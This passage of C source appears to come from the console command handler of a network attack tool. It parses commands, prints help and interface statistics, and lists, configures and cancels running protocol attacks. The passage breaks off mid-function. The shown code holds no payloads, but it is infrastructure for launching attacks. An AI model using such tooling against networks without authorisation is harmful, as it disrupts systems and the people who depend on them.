command_bad_input(node,warray->indx); vty->repeat_command = 1; } else { if (gotit==1) /* Ok, execute command...*/ { warray->indx++; if (last_proto < MAX_PROTOCOLS) proto = last_proto; if (!aux_comm[j].command) fail = command_main(node, warray, j, help, as_param, proto, aux_comm[j].strcom, tab); else { if (aux_comm[j].proto == LIST_PARAM) fail = (aux_comm[j].command(node, warray, par_comm, help, as_param, proto, aux_comm[j].strcom, tab)); else fail = (aux_comm[j].command(node, warray, j, help, as_param, proto, aux_comm[j].strcom, tab)); } vty->repeat_command= 1; } else /* More than 1 matching command...*/ { vty->repeat_command= 0; if (help || tab) { fail = command_list_help2(node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 1); if (fail<0) return -1; vty->repeat_command= 1; } else snprintf(msg,sizeof(msg),"\r\n%% Ambiguous command: \"%s\"", vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } } return fail; } int8_t command_list_help(struct term_node *node, struct commands *aux_comm, u_int8_t proto) { char msg[128]; u_int8_t i, j, k; struct commands_param *prot_comms; struct commands_param_extra *extra_comms; i = 0; while(aux_comm[i].help != NULL) { if (aux_comm[i].states[node->state]) { if (aux_comm[i].proto == LIST_PROTO) { for(k=0; k<MAX_PROTOCOLS; k++) { if (protocols[k].visible) { snprintf(msg,sizeof(msg)," %-10s %s %s\r\n", protocols[k].name_comm,aux_comm[i].help, protocols[k].description); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; } } } else { if (aux_comm[i].proto == LIST_PARAM) { prot_comms = protocols[proto].parameters; for(j=0; j<protocols[proto].nparams; j++) { snprintf(msg,sizeof(msg)," %-10s %-30s\r\n", prot_comms[protocols[proto].params_sort[j]].desc, prot_comms[protocols[proto].params_sort[j]].help); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; } /* Are there any other parameters? */ if ((extra_comms = protocols[proto].extra_parameters) != NULL) { snprintf(msg, sizeof(msg), "\r\n %s extra parameters\r\n\r\n", protocols[proto].namep); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; for(j=0; j<protocols[proto].extra_nparams; j++) { snprintf(msg, sizeof(msg), " %-10s %-30s\r\n", extra_comms[j].desc, extra_comms[j].help); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } } } else { snprintf(msg,sizeof(msg)," %-10s %-30s\r\n",aux_comm[i].s,aux_comm[i].help); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; } } } i++; } return 0; } int8_t command_list_help2( struct term_node *node, char *word, struct commands *aux_comm, u_int8_t *j, u_int8_t *gotit, u_int8_t *proto, u_int8_t *param, int8_t print ) { char msg[128]; u_int8_t i, k, go_out; struct commands_param *prot_comms; i = 0; while( aux_comm[i].help != NULL ) { if (aux_comm[i].states[node->state]) { if ( (aux_comm[i].proto != LIST_PROTO) && (aux_comm[i].proto != LIST_PARAM)) { if (!strncmp(aux_comm[i].s, word, strlen(word))) { if (print) { snprintf(msg,sizeof(msg)," %-10s %-30s\r\n",aux_comm[i].s,aux_comm[i].help); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; } if (strlen(word) == strlen(aux_comm[i].s)) { *gotit=1; *j=i; *proto = aux_comm[(*j)].proto; break; } if (!(*j)) *j=i; (*gotit)++; } } else /* Verify the word against the list of available protocols */ if (aux_comm[i].proto != LIST_PARAM) { go_out=0; for(k=0; k<MAX_PROTOCOLS; k++) { if ( protocols[k].visible && !strncmp( protocols[k].name_comm, word, strlen( word ) ) ) { *proto=k; if (print) { snprintf(msg,sizeof(msg)," %-10s %s %s\r\n", protocols[k].name_comm,aux_comm[i].help, protocols[k].description ); if ( term_vty_write(node,msg,strlen(msg)) < 0) return -1; } if (strlen(word) == strlen(protocols[k].name_comm)) { (*gotit)++; *j=i; *proto = k; go_out = 1; break; } if (!(*j)) *j=i; (*gotit)++; } } if (go_out) break; } else /* Verify the word against the protocol params list */ { go_out = 0; prot_comms = protocols[*proto].parameters; for(k=0; k<protocols[*proto].nparams;k++) { if ( !strncmp( prot_comms[ protocols[ *proto ].params_sort[ k ] ].desc, word, strlen( word ) ) ) { *param = protocols[*proto].params_sort[k]; if (print) { snprintf( msg, sizeof (msg ), " %-10s %-30s\r\n", prot_comms[protocols[*proto].params_sort[k]].desc, prot_comms[protocols[*proto].params_sort[k]].help ); if ( term_vty_write( node, msg, strlen( msg ) ) < 0 ) return -1; } if (strlen(word) == strlen(prot_comms[protocols[*proto].params_sort[k]].desc)) { (*gotit)++; *j=i; *param = protocols[*proto].params_sort[k]; go_out = 1; break; } if (!(*j)) *j=i; (*gotit)++; } } if (go_out) break; } } i++; } return 0; } /* * Comando de prueba para probar el modo More... */ int8_t command_prueba(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; u_int8_t i; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = term_vty_write(node,"\r\n",2); if (fail == -1) return -1; for(i=0; i< 250; i++) { snprintf(msg,sizeof(msg),"%d - Esta es la linea %d\r\n",i,i); fail = term_vty_write(node,msg, strlen(msg)); if (fail) break; } return fail; } /* * Clear client screen... * Return 0 if Ok. Return -1 if error. */ int8_t command_cls(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; struct term_vty *vty = node->specific; char msg[128]; if (warray && (warray->word[warray->indx])) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = term_vty_write(node,"\r\n",2); if (fail==-1) return -1; fail = term_vty_write(node,CLEAR_SCREEN,strlen(CLEAR_SCREEN)); if (fail==-1) return -1; vty->clearmode=1; return 0; } /* * Show global help */ int8_t command_help(struct term_node *node) { int8_t i, fail; char msg[128]; i = 0; while(comm_common[i].s != NULL) { if (comm_common[i].states[node->state]) { snprintf(msg,sizeof(msg)," %-10s %-30s\r\n",comm_common[i].s,comm_common[i].help); fail=term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } i++; } return 0; } /* * Come back to previous level * Return 0 if Ok. Return -1 if error (or going to exit level). */ int8_t command_disable(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { return (command_exit(node, warray, j, help, as_param, proto,aux_comm,tab)); } /* * Come back to previous level * Return 0 if Ok. Return -1 if error (or going to exit level). */ int8_t command_exit(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; if (warray && (warray->word[warray->indx])) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } return (term_vty_exit(node)); } int8_t command_enable(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_common[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } vty->authing=1; return 0; } int8_t command_cancel_proto( struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail=0, params, aux, j; if (warray->word[warray->indx]) { if (!(warray->word[warray->indx+1])) params=0; else params=1; } else params=0; if ( !warray->word[ warray->indx ] && ( help || tab ) ) { if ( proto < MAX_PROTOCOLS ) { snprintf(msg,sizeof(msg)," all All %s running attacks\r\n", protocols[proto].name_comm); fail = term_vty_write(node,msg,strlen(msg)); if (fail == -1) return -1; snprintf(msg,sizeof(msg)," <0-%d> %s attack id\r\n", (MAX_THREAD_ATTACK-1),protocols[proto].name_comm); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } snprintf(msg,sizeof(msg)," <cr>\r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if (proto == ANY_PROTO) /* 'all' attacks */ { if (params) { if (help || tab) { snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } fail = attack_kill_th(node, ALL_ATTACK_THREADS); } else { if (!warray->word[warray->indx]) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if (warray->nwords > (warray->indx+1)) { if (help || tab) { snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || tab) { snprintf(msg,sizeof(msg)," <cr>\r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } /* Ok, now we have just 1 arg, begin parsing...*/ aux = atoi(warray->word[warray->indx]); if (!strcmp(warray->word[warray->indx], "all")) { for(j=0; j<MAX_THREAD_ATTACK; j++) { if (node->protocol[proto].attacks[j].up) { fail = attack_kill_th(node, node->protocol[proto].attacks[j].attack_th.id); if (fail==-1) return -1; } } } else { if ( (aux < 0) || (aux >= MAX_THREAD_ATTACK) ) return( command_bad_input( node, warray->indx ) ); /* Is running the attack?...*/ if (!node->protocol[proto].attacks[aux].up) { snprintf(msg,sizeof(msg),"\r\n%% %s attack id \"%d\" not used",protocols[proto].namep,aux); fail = term_vty_write(node,msg, strlen(msg)); return fail; } fail = attack_kill_th(node, node->protocol[proto].attacks[aux].attack_th.id); } } return fail; } /* * Show users connected. * Use terms and term_type global pointer. * Return 0 if Ok. Return -1 on error. */ int8_t command_show_users(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t i, fail; struct term_node *term_cursor; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } snprintf(msg,sizeof(msg),"\r\n User Terminal From Since\r\n"); fail = term_vty_write(node,msg, strlen(msg)); if (fail == -1) return -1; snprintf(msg,sizeof(msg)," ---- -------- ---- -----\r\n"); fail = term_vty_write(node,msg, strlen(msg)); if (fail == -1) return -1; term_cursor = terms->list; for(i=0; i<MAX_TERMS; i++) { if (term_cursor->up) { if (term_cursor->thread.id == pthread_self()) { snprintf(msg,sizeof(msg),"* %-12s %7s%-2d %15s:%-5d %4s\r\n", term_cursor->username, term_type[term_cursor->type].name, term_cursor->number, term_cursor->from_ip, term_cursor->from_port, term_cursor->since); } else { snprintf(msg,sizeof(msg)," %-12s %7s%-2d %15s:%-5d %4s\r\n", term_cursor->username, term_type[term_cursor->type].name, term_cursor->number, term_cursor->from_ip, term_cursor->from_port, term_cursor->since); } fail = term_vty_write(node,msg, strlen(msg)); if (fail==-1) return -1; } term_cursor++; } return 0; } /* * Show command line history. * Return 0 if Ok. Return -1 on error. */ int8_t command_show_history(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t i, fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } for(i=0; i<MAX_HISTORY; i++) { if (vty->history[i] == NULL) break; snprintf(msg,sizeof(msg),"\r\n %s",vty->history[i]); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } return 0; } /* * Show all running attacks. * Return 0 if Ok. Return -1 on error. */ int8_t command_show_attacks(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = command_proto_attacks(node,6666); return fail; } /* * Show active interfaces * Return -1 on error. Return 0 if Ok. * Use global interfaces list (interfaces). */ int8_t command_show_interfaces(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; dlist_t *p; struct interface_data *iface_data; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n", vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } if (pthread_mutex_lock(&interfaces->mutex) != 0) { thread_error("command_show_ints pthread_mutex_lock",errno); return -1; } for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (show_interface_data(node, iface_data) < 0) { pthread_mutex_unlock(&interfaces->mutex); return -1; } } if (pthread_mutex_unlock(&interfaces->mutex) != 0) { thread_error("command_show_ints pthread_mutex_unlock",errno); return -1; } return 0; } int8_t show_interface_data(struct term_node *node, struct interface_data *iface) { char msg[128]; u_int8_t i; snprintf(msg, sizeof(msg), "\r\n%s is up, line protocol is %s\r\n Hardware is %s (%s),", iface->ifname, (iface->up)?"up":"down", (iface->iflink_desc[0])?iface->iflink_desc:"*unknown*", (iface->iflink_name[0])?iface->iflink_name:"??" ); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (!memcmp(iface->etheraddr,"\x0\x0\x0\x0\x0\x0",6)) snprintf(msg, sizeof(msg), " no address suitable for this interface\r\n"); else snprintf(msg, sizeof(msg), " address is %02x%02x.%02x%02x.%02x%02x (bia %02x%02x.%02x%02x.%02x%02x)\r\n", iface->etheraddr[0], iface->etheraddr[1], iface->etheraddr[2], iface->etheraddr[3], iface->etheraddr[4], iface->etheraddr[5], iface->etheraddr[0], iface->etheraddr[1], iface->etheraddr[2], iface->etheraddr[3], iface->etheraddr[4], iface->etheraddr[5]); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->ipaddr[0]) /* Print IP data...*/ { snprintf(msg, sizeof(msg), " Internet address is %s/%s\r\n", iface->ipaddr, iface->netmask); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->broadcast[0]) snprintf(msg, sizeof(msg), " Broadcast address is %s\r\n", iface->broadcast); else snprintf(msg, sizeof(msg), " Broadcast address is not assigned\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->ptpaddr[0]) { snprintf(msg, sizeof(msg), " Point8_tto Point8_taddress is %s\r\n", iface->ptpaddr); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } } else { snprintf(msg, sizeof(msg), " Internet address is not assigned\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } snprintf(msg, sizeof(msg), " Users using it %d\r\n", iface->users); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; for(i=0; i< MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; snprintf(msg, sizeof(msg), " %s stats:\r\n", protocols[i].description); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->packets[i]) snprintf(msg, sizeof(msg), " %d input packets.\r\n", iface->packets[i]); else snprintf(msg, sizeof(msg), " input packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (iface->packets_out[i]) { snprintf(msg, sizeof(msg), " %d output packets.\r\n", iface->packets_out[i]); } else snprintf(msg, sizeof(msg), " output packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } return 0; } int8_t command_show_version(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { int8_t fail; char msg[128]; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) { return 0; } if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } snprintf(msg,sizeof(msg),"\r\nChaos Internetwork Operating System Software\r\n"); if (term_vty_write(node,msg, strlen(msg))<0) return -1; snprintf(msg,sizeof(msg),""PACKAGE" (tm) Software ("INFO_PLATFORM"), Version "VERSION", RELEASE SOFTWARE\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"Copyright (c) 2004-2006 by tomac & Slay, Inc.\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"Compiled "INFO_DATE" by someone\r\n\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; if ( uptime < 60 ) snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d seconds\r\n\r\n", uptime); else { if ( uptime < 3600 ) snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d minutes, %02d seconds\r\n\r\n", uptime / 60, uptime % 60); else { if ( uptime < (3600*24) ) { snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d hours, %02d minutes, %02d seconds\r\n\r\n", uptime / 3600, (uptime % 3600) / 60, uptime % 60); } else snprintf(msg,sizeof(msg),""PACKAGE" uptime is %02d days, %02d hours, %02d minutes, %02d seconds\r\n\r\n", uptime / (3600*24), (uptime % (3600*24)) / 3600, (uptime % 3600) / 60, uptime % 60); } } if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"Running Multithreading Image on "INFO_KERN" "INFO_KERN_VER" supporting:\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg),"%02d console terminal(s)\r\n%02d tty terminal(s)\r\n%02d vty terminal(s)\r\n", MAX_CON, MAX_TTY, MAX_VTY); fail = term_vty_write(node,msg, strlen(msg)); return fail; } /* * Show statistics */ int8_t command_show_stats(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t i, fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (as_param) { snprintf(msg,sizeof(msg)," %-10s\r\n",comm_show[j].params); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } snprintf(msg, sizeof(msg),"\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; for(i=0; i< MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; snprintf(msg, sizeof(msg), " %s stats:\r\n", protocols[i].description); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (protocols[i].packets) { snprintf(msg, sizeof(msg), " %d input packets.\r\n", protocols[i].packets); } else snprintf(msg, sizeof(msg), " input packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; if (protocols[i].packets_out) snprintf(msg, sizeof(msg), " %d output packets.\r\n", protocols[i].packets_out); else snprintf(msg, sizeof(msg), " output packets not seen yet\r\n"); if (term_vty_write(node, msg, strlen(msg)) < 0) return -1; } return 0; } /* * Show proto attacks */ int8_t command_show_proto_attacks(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || tab) { snprintf(msg,sizeof(msg),"%% Too many arguments.\r\n"); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || tab) { if (aux_comm) snprintf(msg,sizeof(msg)," %-10s\r\n",aux_comm[j].params); else snprintf(msg,sizeof(msg)," %-10s\r\n","<cr>"); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } fail = command_proto_attacks(node,proto); return fail; } /* * Show proto stats */ int8_t command_show_proto_stats(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { return 0; } /* * Show protocol attack parameters */ int8_t command_show_proto_params(struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; char new_msg[128]; int8_t fail, i, first; struct commands_param *prot_params; struct term_vty *vty = node->specific; dlist_t *p; struct interface_data *iface_data; if (warray->word[warray->indx]) { if (help || tab) { snprintf(msg,sizeof(msg),"%% Too many arguments.\r\n"); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help || tab) { if (aux_comm) snprintf(msg,sizeof(msg)," %-10s\r\n",aux_comm[x].params); else snprintf(msg,sizeof(msg)," %-10s\r\n","<cr>"); fail = term_vty_write(node,msg,strlen(msg)); vty->repeat_command= 1; return fail; } prot_params = protocols[proto].parameters; snprintf(msg, sizeof(msg), "\r\n"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; for (i=0; i<protocols[proto].nparams; i++) { parser_binary2printable(proto, protocols[proto].params_sort[i], node->protocol[proto].commands_param[protocols[proto].params_sort[i]], new_msg); switch(prot_params[protocols[proto].params_sort[i]].type) { case FIELD_IP: snprintf(msg,sizeof(msg)," %-10s %-9s", prot_params[protocols[proto].params_sort[i]].desc,"IPv4"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s",new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_IFACE: first = 1; snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc, "INTERFACE"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; for (p = node->used_ints->list; p; p = dlist_next(node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); if (first) { snprintf(msg,sizeof(msg)," %s",iface_data->ifname); first=0; } else snprintf(msg,sizeof(msg),", %s",iface_data->ifname); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } if (first) /* We have no interface */ { snprintf(msg,sizeof(msg)," No defined"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } break; case FIELD_HEX: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"HEXNUM"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_DEC: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"DECNUM"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_BRIDGEID: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"BRIDGEID"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_MAC: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"MACADDR"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_BYTES: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"BYTES"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_STR: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"STRING"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; snprintf(msg,sizeof(msg)," %s", new_msg); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_NONE: snprintf(msg,sizeof(msg)," %-10s %-9s",prot_params[protocols[proto].params_sort[i]].desc,"NOTYPE"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; break; case FIELD_DEFAULT: break; case FIELD_EXTRA: break; default: write_log(0,"Ouch!! Unrecognized protocol(%s) param type %d!!!\n", protocols[proto].namep,prot_params[protocols[proto].params_sort[i]].type); } if ((prot_params[protocols[proto].params_sort[i]].type != FIELD_DEFAULT) && (prot_params[protocols[proto].params_sort[i]].type != FIELD_EXTRA)) { snprintf(msg, sizeof(msg), "\r\n"); fail = term_vty_write(node,msg,strlen(msg)); if (fail==-1) return -1; } } return 0; } /* * Show active attacks. * If proto == 6666 show attacks from all protocols * Return 0 if Ok. Return -1 if error. */ int8_t command_proto_attacks(struct term_node *node, u_int16_t proto) { int8_t i,j; char msg[128]; struct _attack_definition *attack_def = NULL; snprintf(msg,sizeof(msg),"\r\n No. Protocol Attack\r\n"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; snprintf(msg,sizeof(msg)," --- -------- ------"); if (term_vty_write(node,msg, strlen(msg)) < 0) return -1; for (j=0; j < MAX_PROTOCOLS; j++) { if (proto != 6666) j=proto; if (protocols[j].visible) { attack_def = protocols[j].attack_def_list; for (i=0; i < MAX_THREAD_ATTACK; i++) { if (node->protocol[j].attacks[i].up) { snprintf(msg,sizeof(msg), "\r\n %-1d %-8s %s", i, node->protocol[j].name, attack_def[node->protocol[j].attacks[i].attack].desc); if (term_vty_write(node,msg,strlen(msg)) < 0) return -1; } } } if (proto != 6666) break; } return 0; } /* * Clear protocol stats */ int8_t command_clear_proto(struct term_node *node, struct words_array *warray, int16_t j, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t fail; struct term_vty *vty = node->specific; if (warray->word[warray->indx]) { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = command_bad_input(node,warray->indx); return fail; } if (help) return 0; if (proto == 255) fail = interfaces_clear_stats(PROTO_ALL); else fail = interfaces_clear_stats(proto); if (fail == -1) return -1; return 0; } /* * Entry point for command 'set protocol' */ int8_t command_set_proto( struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab ) { char msg[128]; int8_t fail; struct term_vty *vty = node->specific; struct commands_param *prot_comms; dlist_t *p; struct interface_data *iface_data, *interface_new; prot_comms = protocols[proto].parameters; if (prot_comms[x].type == FIELD_DEFAULT) { if (warray->word[warray->indx]) { if (help || tab) snprintf(msg,sizeof(msg),"%% Too many arguments\r\n"); else snprintf(msg,sizeof(msg),"\r\n%% Too many arguments"); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if (help || tab) { snprintf(msg,sizeof(msg)," <cr>\r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } /* Ok, now we can set the protocol defaults...*/ fail = (*protocols[proto].init_attribs)(node); } else { if 